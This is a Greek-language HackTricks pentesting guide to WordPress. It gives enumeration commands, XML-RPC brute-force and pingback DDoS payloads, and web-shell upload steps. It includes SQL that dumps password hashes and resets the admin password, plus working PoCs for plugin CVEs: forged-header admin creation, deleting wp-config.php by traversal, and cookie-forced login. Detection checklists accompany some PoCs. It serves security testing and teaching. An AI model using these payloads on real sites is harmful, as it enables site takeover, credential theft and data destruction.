Wordpress

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

  • Uploaded αρχεία πηγαίνουν σε: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Τα αρχεία θεμάτων βρίσκονται στο /wp-content/themes/, οπότε αν αλλάξετε κάποιο php του theme για να αποκτήσετε RCE πιθανότατα θα χρησιμοποιήσετε αυτό το μονοπάτι. Για παράδειγμα: Χρησιμοποιώντας theme twentytwelve μπορείτε να έχετε πρόσβαση στο αρχείο 404.php στο: /wp-content/themes/twentytwelve/404.php

  • Άλλο χρήσιμο url μπορεί να είναι: /wp-content/themes/default/404.php

  • Στο wp-config.php μπορείτε να βρείτε τον κωδικό/root της βάσης δεδομένων.

  • Πρωτότυπα μονοπάτια εισόδου για έλεγχο: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt περιέχει χρήσιμες πληροφορίες όπως η εγκατεστημένη έκδοση του WordPress.
  • wp-activate.php χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη ρύθμιση ενός νέου WordPress site.
  • Φάκελοι login (μπορεί να μετονομαστούν για να κρυφτούν):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μηχανισμό μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το WordPress REST API.
  • Ο φάκελος wp-content είναι ο κύριος κατάλογος όπου αποθηκεύονται plugins και themes.
  • wp-content/uploads/ είναι ο κατάλογος όπου αποθηκεύονται αρχεία που έχουν ανεβεί στην πλατφόρμα.
  • wp-includes/ Αυτός είναι ο κατάλογος όπου αποθηκεύονται αρχεία του πυρήνα, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.
  • wp-sitemap.xml Σε εκδόσεις WordPress 5.5 και άνω, το WordPress δημιουργεί ένα sitemap XML αρχείο με όλα τα δημόσια posts και τα δημόσια queryable post types και taxonomies.

Post exploitation

  • Το αρχείο wp-config.php περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων όπως το όνομα βάσης δεδομένων, ο host της βάσης, το username και ο password, authentication keys και salts, και το prefix των πινάκων. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιήσει το DEBUG mode, το οποίο μπορεί να είναι χρήσιμο για troubleshooting.

Δικαιώματα Χρηστών

  • Administrator
  • Editor: Δημοσιεύει και διαχειρίζεται τις δικές του και τις αναρτήσεις άλλων
  • Author: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις
  • Contributor: Γράφει και διαχειρίζεται τις δικές του αναρτήσεις αλλά δεν μπορεί να τις δημοσιεύσει
  • Subscriber: Περιηγείται αναρτήσεις και επεξεργάζεται το προφίλ του

Passive Enumeration

Get WordPress version

Ελέγξτε αν μπορείτε να βρείτε τα αρχεία /license.txt ή /readme.html

Μέσα στον source code της σελίδας (παράδειγμα από https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Αρχεία σύνδεσης CSS

  • Αρχεία JavaScript

Λήψη Plugins

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Λήψη Θεμάτων

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Εξαγωγή εκδόσεων γενικά

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Ενεργή απογραφή

Plugins and Themes

Πιθανότατα δεν θα καταφέρετε να βρείτε όλα τα Plugins και Themes. Για να τα ανακαλύψετε όλα, θα χρειαστεί να actively Brute Force a list of Plugins and Themes (ελπίζουμε να υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).

Χρήστες

  • ID Brute: Παίρνετε έγκυρους χρήστες από έναν ιστότοπο WordPress κάνοντας Brute Forcing στα IDs χρηστών:
curl -s -I -X GET http://blog.example.com/?author=1

Εάν οι αποκρίσεις είναι 200 ή 30X, αυτό σημαίνει ότι το id είναι έγκυρο. Εάν η απόκριση είναι 400, τότε το id είναι άκυρο.

  • wp-json: Μπορείτε επίσης να δοκιμάσετε να λάβετε πληροφορίες για τους χρήστες στέλνοντας ερωτήματα στο:
curl http://blog.example.com/wp-json/wp/v2/users

Ένα ακόμα /wp-json/ endpoint που μπορεί να αποκαλύψει κάποιες πληροφορίες για χρήστες είναι:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. Θα παρέχονται μόνο πληροφορίες για τους χρήστες που έχουν αυτή τη λειτουργία ενεργοποιημένη.

Also note that /wp-json/wp/v2/pages could leak διευθύνσεις IP.

  • Login username enumeration: Κατά τη σύνδεση στο /wp-login.php το μήνυμα είναι διαφορετικό ανάλογα με το αν το δηλωθέν username υπάρχει ή όχι.

XML-RPC

If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία using this για παράδειγμα).

To see if it is active try to access to /xmlrpc.php and send this request:

Έλεγχος

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories ή metaWeblog.getUsersBlogs είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force credentials. Αν βρείτε κάποια από αυτές, μπορείτε να στείλετε κάτι σαν:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Το μήνυμα “Incorrect username or password” μέσα σε απάντηση με κωδικό 200 πρέπει να εμφανίζεται αν τα credentials δεν είναι έγκυρα.

Χρησιμοποιώντας τα σωστά credentials μπορείτε να ανεβάσετε ένα αρχείο. Στην απάντηση θα εμφανιστεί το path (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Επιπλέον υπάρχει ένας γρηγορότερος τρόπος για brute-force διαπιστευτηρίων χρησιμοποιώντας system.multicall καθώς μπορείτε να δοκιμάσετε πολλά διαπιστευτήρια στο ίδιο αίτημα:

Παράκαμψη 2FA

Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, επομένως δεν υποστηρίζει 2FA. Άρα, αν έχετε έγκυρα διαπιστευτήρια αλλά η κύρια είσοδος προστατεύεται με 2FA, μπορεί να καταφέρετε να καταχραστείτε το xmlrpc.php για να συνδεθείτε με αυτά τα διαπιστευτήρια παρακάμπτοντας το 2FA. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά ίσως να καταφέρετε να φτάσετε σε RCE όπως εξηγεί ο Ippsec στο https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

Αν βρείτε τη μέθοδο pingback.ping μέσα στη λίστα μπορείτε να κάνετε το Wordpress να στείλει ένα αυθαίρετο αίτημα σε οποιονδήποτε host/port.
Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε από χιλιάδες Wordpress sites να προσπελάσουν μία τοποθεσία (έτσι προκαλείται DDoS στη συγκεκριμένη τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το Wordpress να σκανάρει κάποιο εσωτερικό δίκτυο (μπορείτε να δηλώσετε οποιαδήποτε θύρα).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Αν λάβετε faultCode με τιμή μεγαλύτερη από 0 (17), σημαίνει ότι η θύρα είναι ανοιχτή.

Δείτε τη χρήση του system.multicall στην προηγούμενη ενότητα για να μάθετε πώς να κακοχρησιμοποιήσετε αυτή τη μέθοδο για να προκαλέσετε DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Αυτό το αρχείο συνήθως υπάρχει στη ρίζα του Wordpress site: /wp-cron.php
Όταν αυτό το αρχείο προσπελαστεί εκτελείται ένα «heavy» MySQL query, οπότε μπορεί να χρησιμοποιηθεί από attackers για να προκαλέσει DoS.
Επίσης, από προεπιλογή, το wp-cron.php καλείται σε κάθε page load (κάθε φορά που ένας client ζητά οποιαδήποτε Wordpress σελίδα), κάτι που σε sites με υψηλή κίνηση μπορεί να προκαλέσει προβλήματα (DoS).

Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε ένα πραγματικό cronjob στον host που θα εκτελεί τις απαραίτητες ενέργειες σε τακτικό διάστημα (χωρίς να προκαλεί προβλήματα).

/wp-json/oembed/1.0/proxy - SSRF

Δοκιμάστε να προσπελάσετε https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net και το Worpress site μπορεί να πραγματοποιήσει request προς εσάς.

This is the response when it doesn’t work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Αυτό το εργαλείο ελέγχει αν υπάρχει το methodName: pingback.ping και το path /wp-json/oembed/1.0/proxy και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.

Αυτόματα εργαλεία

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Απόκτηση πρόσβασης αντικαθιστώντας ένα bit

Περισσότερο σαν περιέργεια παρά σαν πραγματική επίθεση. Στο CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man μπορούσες να αναστρέψεις 1 bit σε οποιοδήποτε wordpress αρχείο. Έτσι μπορούσες να αναστρέψεις τη θέση 5389 του αρχείου /var/www/html/wp-includes/user.php ώστε να κάνεις NOP στην εντολή NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Τροποποίηση ενός php από το theme που χρησιμοποιείται (απαιτούνται admin credentials)

Appearance → Theme Editor → 404 Template (στα δεξιά)

Αλλάξτε το περιεχόμενο σε ένα php shell:

Αναζητήστε στο internet πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή τη σελίδα που ενημερώθηκε. Σε αυτή την περίπτωση πρέπει να αποκτήσετε πρόσβαση εδώ: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Μπορείτε να χρησιμοποιήσετε:

use exploit/unix/webapp/wp_admin_shell_upload

για να αποκτήσετε session.

Plugin RCE

PHP plugin

Ενδέχεται να είναι δυνατό να ανεβάσετε αρχεία .php ως plugin.
Δημιουργήστε το php backdoor σας, για παράδειγμα χρησιμοποιώντας:

Στη συνέχεια προσθέστε ένα νέο plugin:

Ανεβάστε το plugin και πατήστε Install Now:

Κάντε κλικ στο Procced:

Πιθανότατα αυτό δεν θα κάνει τίποτα εμφανώς, αλλά αν μεταβείτε στο Media, θα δείτε το shell σας ανεβασμένο:

Ανοίγοντάς το θα δείτε το URL για να εκτελέσετε το reverse shell:

Ανέβασμα και ενεργοποίηση malicious plugin

Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός malicious plugin που είναι γνωστό ότι έχει ευπάθεια και μπορεί να εκμεταλλευτεί για να αποκτηθεί web shell. Η διαδικασία εκτελείται μέσω του WordPress dashboard ως εξής:

  1. Plugin Acquisition: Το plugin αποκτάται από μια πηγή όπως το Exploit DB, όπως here.
  2. Plugin Installation:
  • Μεταβείτε στο WordPress dashboard, στη συνέχεια πηγαίνετε στο Dashboard > Plugins > Upload Plugin.
  • Ανεβάστε το zip αρχείο του κατεβασμένου plugin.
  1. Plugin Activation: Μόλις το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard.
  2. Exploitation:
  • Με το plugin “reflex-gallery” εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί καθώς είναι γνωστό ότι έχει ευπάθεια.
  • Το Metasploit framework παρέχει ένα exploit για αυτή την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια meterpreter session, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο.
  • Σημειώνεται ότι αυτή είναι μόνο μία από τις πολλές μεθόδους για να εκμεταλλευτεί κάποιος έναν WordPress ιστότοπο.

Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως κατά το penetration testing με ρητή άδεια.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike είναι ένα script σχεδιασμένο να κλιμακώνει μια ευπάθεια Cross-Site Scripting (XSS) σε Remote Code Execution (RCE) ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες δείτε this post. Παρέχει υποστήριξη για εκδόσεις του WordPress 6.X.X, 5.X.X και 4.X.X και επιτρέπει:
  • Privilege Escalation: Δημιουργεί έναν χρήστη στο WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Ανεβάστε το custom plugin (backdoor) σας στο WordPress.
  • (RCE) Built-In Plugin Edit: Επεξεργασία built-in plugins στο WordPress.
  • (RCE) Built-In Theme Edit: Επεξεργασία built-in themes στο WordPress.
  • (Custom) Custom Exploits: Custom Exploits για third-party WordPress plugins/themes.

Post Exploitation

Εξαγωγή usernames και passwords:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Αλλαγή κωδικού admin:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Επιφάνεια επίθεσης

Το να γνωρίζεις πώς ένα Wordpress plugin μπορεί να εκθέτει λειτουργικότητα είναι κρίσιμο για να βρεις ευπάθειες στη λειτουργικότητά του. Μπορείς να βρεις πώς ένα plugin μπορεί να εκθέσει λειτουργικότητα στα παρακάτω σημεία και μερικά παραδείγματα ευπαθών plugins στο this blog post.

  • wp_ajax

Ένας από τους τρόπους που ένα plugin μπορεί να εκθέσει συναρτήσεις σε χρήστες είναι μέσω των AJAX handlers. Αυτές μπορεί να περιέχουν σφάλματα λογικής, authorization ή authentication. Επιπλέον, είναι αρκετά συχνό αυτές οι συναρτήσεις να στηρίζουν τόσο την authentication όσο και την authorization στην ύπαρξη ενός Wordpress nonce το οποίο ο οποιοσδήποτε authenticated χρήστης στην Wordpress instance μπορεί να έχει (ανεξάρτητα από τον ρόλο του).

Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Η χρήση του nopriv κάνει το endpoint προσβάσιμο από οποιονδήποτε χρήστη (ακόμα και μη αυθεντικοποιημένους).

Caution

Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση wp_verify_nonce, αυτή η συνάρτηση ελέγχει μόνο ότι ο χρήστης είναι συνδεδεμένος· συνήθως δεν ελέγχει το ρόλο του χρήστη. Έτσι, χρήστες με χαμηλά δικαιώματα μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλά δικαιώματα.

  • REST API

It’s also possible to expose functions from wordpress registering a rest AP using the register_rest_route function:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback is a callback to function that checks if a given user is authorized to call the API method.

Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση __return_true, απλώς θα παραλείψει τον έλεγχο δικαιωμάτων χρήστη.

  • Άμεση πρόσβαση στο αρχείο php

Φυσικά, WordPress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Έτσι, σε περίπτωση που ένα plugin εκθέτει κάποια ευάλωτη λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, αυτή μπορεί να εκμεταλλευτεί από οποιονδήποτε χρήστη.

Απομίμηση REST μέσω trusted-header (WooCommerce Payments ≤ 5.6.1)

Κάποια plugins υλοποιούν συντομεύσεις “trusted header” για εσωτερικές ενσωματώσεις ή reverse proxies και στη συνέχεια χρησιμοποιούν αυτό το header για να θέσουν το τρέχον context χρήστη για REST αιτήματα. Εάν το header δεν δεσμεύεται κρυπτογραφικά με το αίτημα από ένα upstream component, ένας επιτιθέμενος μπορεί να το πλαστογραφήσει και να προσπελάσει privileged REST routes ως administrator.

  • Impact: μη αυθεντικοποιημένη αύξηση προνομίων σε administrator, δημιουργώντας νέο διαχειριστή μέσω του core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (επιβάλλει user ID 1, συνήθως ο πρώτος λογαριασμός administrator).
  • Exploited route: POST /wp-json/wp/v2/users με έναν πίνακα ρόλων με αυξημένα δικαιώματα.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Γιατί λειτουργεί

  • Το plugin αντιστοιχίζει ένα header ελεγχόμενο από τον client στην κατάσταση αυθεντικοποίησης και παραλείπει τους ελέγχους capability.
  • Ο πυρήνας του WordPress απαιτεί την capability create_users για αυτή τη διαδρομή· το hack του plugin την παρακάμπτει θέτοντας απευθείας το context του current user από το header.

Δείκτες επιτυχίας

  • HTTP 201 με σώμα JSON που περιγράφει τον δημιουργημένο χρήστη.
  • Ένας νέος admin χρήστης ορατός στο wp-admin/users.php.

Λίστα ελέγχου ανίχνευσης

  • Ψάξτε με grep για getallheaders(), $_SERVER['HTTP_...'], ή vendor SDKs που διαβάζουν custom headers για να θέσουν το user context (π.χ. wp_set_current_user(), wp_set_auth_cookie()).
  • Εξετάστε τις REST registrations για privileged callbacks που στερούνται ισχυρών ελέγχων permission_callback και αντίθετα βασίζονται σε request headers.
  • Ψάξτε για χρήσεις των core user-management συναρτήσεων (wp_insert_user, wp_create_user) μέσα σε REST handlers που προστατεύονται μόνο από τιμές header.

Μη-επαληθευμένη Αυθαίρετη Διαγραφή Αρχείων μέσω wp_ajax_nopriv (Litho Theme <= 3.0)

Τα WordPress themes και plugins συχνά εκθέτουν AJAX handlers μέσω των hooks wp_ajax_ και wp_ajax_nopriv_. Όταν χρησιμοποιείται η παραλλαγή nopriv τότε η callback γίνεται προσβάσιμη από μη-επαληθευμένους επισκέπτες, οπότε κάθε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί:

  1. Έναν έλεγχο capability (π.χ. current_user_can() ή τουλάχιστον is_user_logged_in()), και
  2. Ένα CSRF nonce που επικυρώνεται με check_ajax_referer() / wp_verify_nonce(), και
  3. Αυστηρό έλεγχο και επικύρωση εισόδου.

Το Litho multipurpose theme (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη δυνατότητα Remove Font Family και κατέληξε να παραδίδει τον ακόλουθο κώδικα (απλουστευμένος):

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Προβλήματα που εισάγει αυτό το απόσπασμα:

  • Μη αυθεντικοποιημένη πρόσβαση – το hook wp_ajax_nopriv_ είναι καταχωρημένο.
  • Δεν υπάρχει έλεγχος nonce / capability – οποιοσδήποτε επισκέπτης μπορεί να προσπελάσει το endpoint.
  • Καμία εξυγίανση της διαδρομής – η συμβολοσειρά fontfamily που ελέγχεται από τον χρήστη συγκολλάται σε μια filesystem διαδρομή χωρίς φιλτράρισμα, επιτρέποντας το κλασικό ../../ traversal.

Εκμετάλλευση

Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο κάτω από τον βασικό κατάλογο uploads (συνήθως <wp-root>/wp-content/uploads/) στέλνοντας ένα μόνο HTTP POST request:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Επειδή το wp-config.php βρίσκεται έξω από τους uploads, τέσσερις ακολουθίες ../ είναι αρκετές σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του wp-config.php αναγκάζει το WordPress να μπει στον installation wizard στην επόμενη επίσκεψη, επιτρέποντας πλήρη κατάληψη του site (ο επιτιθέμενος απλώς παρέχει μια νέα DB ρύθμιση και δημιουργεί έναν admin χρήστη).

Άλλοι σημαντικοί στόχοι περιλαμβάνουν αρχεία plugin/theme .php (για να παρακάμψουν plugins ασφαλείας) ή κανόνες .htaccess.

Λίστα ελέγχου ανίχνευσης

  • Οποιοδήποτε callback add_action( 'wp_ajax_nopriv_...') που καλεί helpers συστήματος αρχείων (copy(), unlink(), $wp_filesystem->delete(), κ.λπ.).
  • Συνένωση μη-επεξεργασμένης εισόδου χρήστη σε διαδρομές (αναζητήστε $_POST, $_GET, $_REQUEST).
  • Έλλειψη των check_ajax_referer() και current_user_can()/is_user_logged_in().

Privilege escalation μέσω επαναφοράς παρωχημένου ρόλου και έλλειψης εξουσιοδότησης (ASE “View Admin as Role”)

Πολλά plugins υλοποιούν μια δυνατότητα “view as role” ή προσωρινής εναλλαγής ρόλου αποθηκεύοντας τον/τους αρχικό(ούς) ρόλο(ους) στο user meta ώστε να μπορούν να αποκατασταθούν αργότερα. Αν το μονοπάτι επαναφοράς βασίζεται μόνο σε παραμέτρους request (π.χ. $_REQUEST['reset-for']) και σε μια λίστα που διατηρείται από το plugin χωρίς έλεγχο capabilities και έγκυρου nonce, αυτό γίνεται vertical privilege escalation.

Ένα πραγματικό παράδειγμα βρέθηκε στο plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Το reset branch επανέφερε ρόλους βασισμένο στο reset-for=<username> αν το username εμφανιζόταν σε ένα εσωτερικό array $options['viewing_admin_as_role_are'], αλλά δεν εκτέλεσε ούτε έλεγχο current_user_can() ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επανπροσθέσει τους αποθηκευμένους ρόλους από το user meta _asenha_view_admin_as_original_roles:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Γιατί είναι εκμεταλλεύσιμο

  • Εμπιστεύεται $_REQUEST['reset-for'] και μια επιλογή plugin χωρίς εξουσιοδότηση στον server.
  • Εάν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο _asenha_view_admin_as_original_roles και υποβαθμίστηκε, μπορεί να τα επαναφέρει προσπελάζοντας τη διαδρομή επαναφοράς.
  • Σε ορισμένες εγκαταστάσεις, οποιοσδήποτε επαληθευμένος χρήστης θα μπορούσε να προκαλέσει επαναφορά για άλλο όνομα χρήστη που εξακολουθεί να υπάρχει στο viewing_admin_as_role_are (σπασμένη εξουσιοδότηση).

Εκμετάλλευση (παράδειγμα)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Σε ευάλωτες εκδόσεις αυτό αφαιρεί τους τρέχοντες ρόλους και επαναπροσθέτει τους αποθηκευμένους αρχικούς ρόλους (π.χ. administrator), ανεβάζοντας ουσιαστικά τα προνόμια.

Λίστα ελέγχου ανίχνευσης

  • Αναζητήστε λειτουργίες αλλαγής ρόλου που διατηρούν τους “original roles” στο user meta (π.χ. _asenha_view_admin_as_original_roles).
  • Εντοπίστε reset/restore paths που:
    • Διαβάζουν usernames από $_REQUEST / $_GET / $_POST.
    • Τροποποιούν ρόλους μέσω add_role() / remove_role() χωρίς current_user_can() και wp_verify_nonce() / check_admin_referer().
    • Εξουσιοδοτούν με βάση ένα plugin option array (π.χ. viewing_admin_as_role_are) αντί για τις δυνατότητες του ενεργούντος χρήστη.

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

Some plugins wire user-switching helpers to the public init hook and derive identity from a client-controlled cookie. If the code calls wp_set_auth_cookie() without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.

Τυπικό ευάλωτο μοτίβο (απλοποιημένο από Service Finder Bookings ≤ 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Γιατί είναι εκμεταλλεύσιμο

  • Ο public init hook καθιστά τον handler προσβάσιμο από μη αυθεντικοποιημένους χρήστες (δεν υπάρχει ο έλεγχος is_user_logged_in()).
  • Η ταυτότητα προκύπτει από cookie που μπορεί να τροποποιηθεί από τον client (original_user_id).
  • Η άμεση κλήση στη wp_set_auth_cookie($uid) συνδέει τον αιτούντα ως αυτόν τον χρήστη χωρίς κανέναν έλεγχο capability/nonce.

Εκμετάλλευση (χωρίς αυθεντικοποίηση)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Θέματα WAF για WordPress/plugin CVEs

Οι γενικοί edge/server WAFs είναι ρυθμισμένοι για ευρείες υπογραφές (SQLi, XSS, LFI). Πολλές ευπάθειες υψηλού αντίκτυπου σε WordPress/plugin είναι σφάλματα λογικής/ελέγχου ταυτότητας ειδικά για την εφαρμογή που μοιάζουν με αβλαβή κίνηση, εκτός αν η μηχανή κατανοεί τα routes του WordPress και τη σημασιολογία των plugin.

Offensive notes

